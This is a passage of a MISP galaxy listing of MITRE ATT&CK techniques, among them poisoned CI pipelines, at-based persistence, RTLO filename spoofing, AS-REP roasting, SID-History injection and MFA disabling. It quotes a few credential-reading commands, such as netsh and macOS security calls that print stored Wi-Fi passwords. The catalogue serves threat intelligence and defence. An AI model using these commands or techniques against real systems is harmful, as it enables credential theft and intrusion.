- In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: OWASP CICD-SEC-4)
- In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.(Citation: OWASP CICD-SEC-4)
- In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: GitHub Security Lab GitHub

Actions Security 2021) Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.(Citation: Wiz Ultralytics AI Library Hijack 2024)(Citation: Synactiv Hijacking GitHub Runners)(Citation: GitHub Security Labs GitHub Actions Security Part 2 2021) Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization's network.(Citation: John Stawinski PyTorch Supply Chain Attack 2024)

By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)).

The tag is: *misp-galaxy:mitre-attack-pattern="Poisoned Pipeline Execution - T1677"*

Table 8592. Table References

Links
https://attack.mitre.org/techniques/T1677
https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/
https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution
https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/
https://securitylab.github.com/resources/github-actions-untrusted-input/
https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack
https://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization
https://www.wiz.io/blog/ultralytics-ai-library-hacked-via-github-for-cryptomining

At (Linux) - T1053.001

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

The tag is: *misp-galaxy:mitre-attack-pattern="At (Linux) - T1053.001"*

Table 8593. Table References

Links
https://attack.mitre.org/techniques/T1053/001
https://gtfobins.github.io/gtfobins/at/
https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/

Mark-of-the-Web Bypass - T1553.005

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005"*

Table 8594. Table References

Links
https://attack.mitre.org/techniques/T1553/005
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7
https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/

Right-to-Left Override - T1036.002

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](Malicious File(https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002"*

Table 8595. Table References

Links
https://attack.mitre.org/techniques/T1036/002
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
https://securelist.com/zero-day-vulnerability-in-telegram/83800/

Multi-hop Proxy - T1090.003

Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant)

In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network

Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization's Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.

Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"*

Table 8596. Table References

Links
https://attack.mitre.org/techniques/T1090/003
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks
https://en.wikipedia.org/wiki/Onion_routing
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/

One-Way Communication - T1102.003

Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"*

Table 8597. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/003

Wi-Fi Discovery - T1016.002

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.

Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile Wi-Fi name key=clear` to show a Wi-Fi network's corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)

On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)

The tag is: *misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1016.002"*

Table 8598. Table References

Links
https://attack.mitre.org/techniques/T1016/002
https://mackeeper.com/blog/find-wi-fi-password-on-mac/
https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/
https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/
https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/
https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/
https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials

Drive-by Target - T1608.004

Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra

user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:

- Inserting malicious scripts into web pages or other user controllable web content such as forum posts
- Modifying script files served to websites from publicly writeable cloud storage buckets
- Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))

In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004"*

Table 8599. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://attack.mitre.org/techniques/T1608/004
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html

Non-Standard Encoding - T1132.002

Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002"*

Table 8600. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1132/002
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

SID-History Injection - T1134.005

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).

The tag is: *misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005"*

Table 8601. Table References

Links
https://adsecurity.org/?p=1772
https://attack.mitre.org/techniques/T1134/005
https://msdn.microsoft.com/library/ms677982.aspx
https://msdn.microsoft.com/library/ms679833.aspx
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx

https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx

One-Way Communication - T1481.003

Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="One-Way Communication - T1481.003"*

Table 8602. Table References

Links
https://attack.mitre.org/techniques/T1481/003

Lifecycle-Triggered Deletion - T1485.001

Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.

Cloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once.

For example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware)(Citation: Halcyon AWS Ransomware 2025) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)

The tag is: *misp-galaxy:mitre-attack-pattern="Lifecycle-Triggered Deletion - T1485.001"*

Table 8603. Table References

Links
https://attack.mitre.org/techniques/T1485/001
https://cloud.google.com/storage/docs/lifecycle
https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html
https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal
https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/
https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c
https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/

Wi-Fi Discovery - T1422.002

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Discovery](https://attack.mitre.org/tactics/TA0032) or [Credential Access](https://attack.mitre.org/tactics/TA0031) activity to support both ongoing and future campaigns.

The tag is: *misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1422.002"*

Table 8604. Table References

Links
https://attack.mitre.org/techniques/T1422/002

DLL Side-Loading - T1574.002

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002"*

Table 8605. Table References

Links

https://attack.mitre.org/techniques/T1574/002
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

AS-REP Roasting - T1558.004

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)

Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.(Citation: Microsoft Kerberos Preauth 2014)

For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004"*

Table 8606. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558/004

https://blog.harmj0y.net/activedirectory/roasting-as-reps/
https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
https://redsiege.com/kerberoast-slides
https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx

Re-opened Applications - T1547.007

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user's next logon.

Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007"*

Table 8607. Table References

Links
https://attack.mitre.org/techniques/T1547/007
https://support.apple.com/en-us/HT204005
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Multi-Factor Authentication - T1556.006

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and

configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022)

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006"*

Table 8608. Table References

Links
https://attack.mitre.org/techniques/T1556/006
https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
https://www.mandiant.com/media/17826

Obtain/re-use payloads - T1346

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346).

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346"*

Table 8609. Table References

Links
https://attack.mitre.org/techniques/T1346

Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be

more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104"*

Table 8610. Table References

Links
https://attack.mitre.org/techniques/T1104

DLL Side-Loading - T1073

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"*

Table 8611. Table References

Links
https://attack.mitre.org/techniques/T1073
https://capec.mitre.org/data/definitions/641.html
https://msdn.microsoft.com/en-us/library/aa375365
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

Command-Line Interface - T1605

Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java's `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.

If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.

The tag is: *misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605"*

Table 8612. Table References

Links
https://attack.mitre.org/techniques/T1605

Non-Standard Port - T1509

Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509"*

Table 8613. Table References

Links
https://attack.mitre.org/techniques/T1509

Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"*

Table 8614. Table References

Links
https://attack.mitre.org/techniques/T1164
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Non-Standard Port - T1571

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"*

Table 8615. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1571
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://x.com/TheDFIRReport/status/1498657772254240768

SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).

The tag is: *misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"*

Table 8616. Table References

Links
https://adsecurity.org/?p=1772
https://attack.mitre.org/techniques/T1178
https://msdn.microsoft.com/library/ms677982.aspx
https://msdn.microsoft.com/library/ms679833.aspx
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx

Multi-hop Proxy - T1188

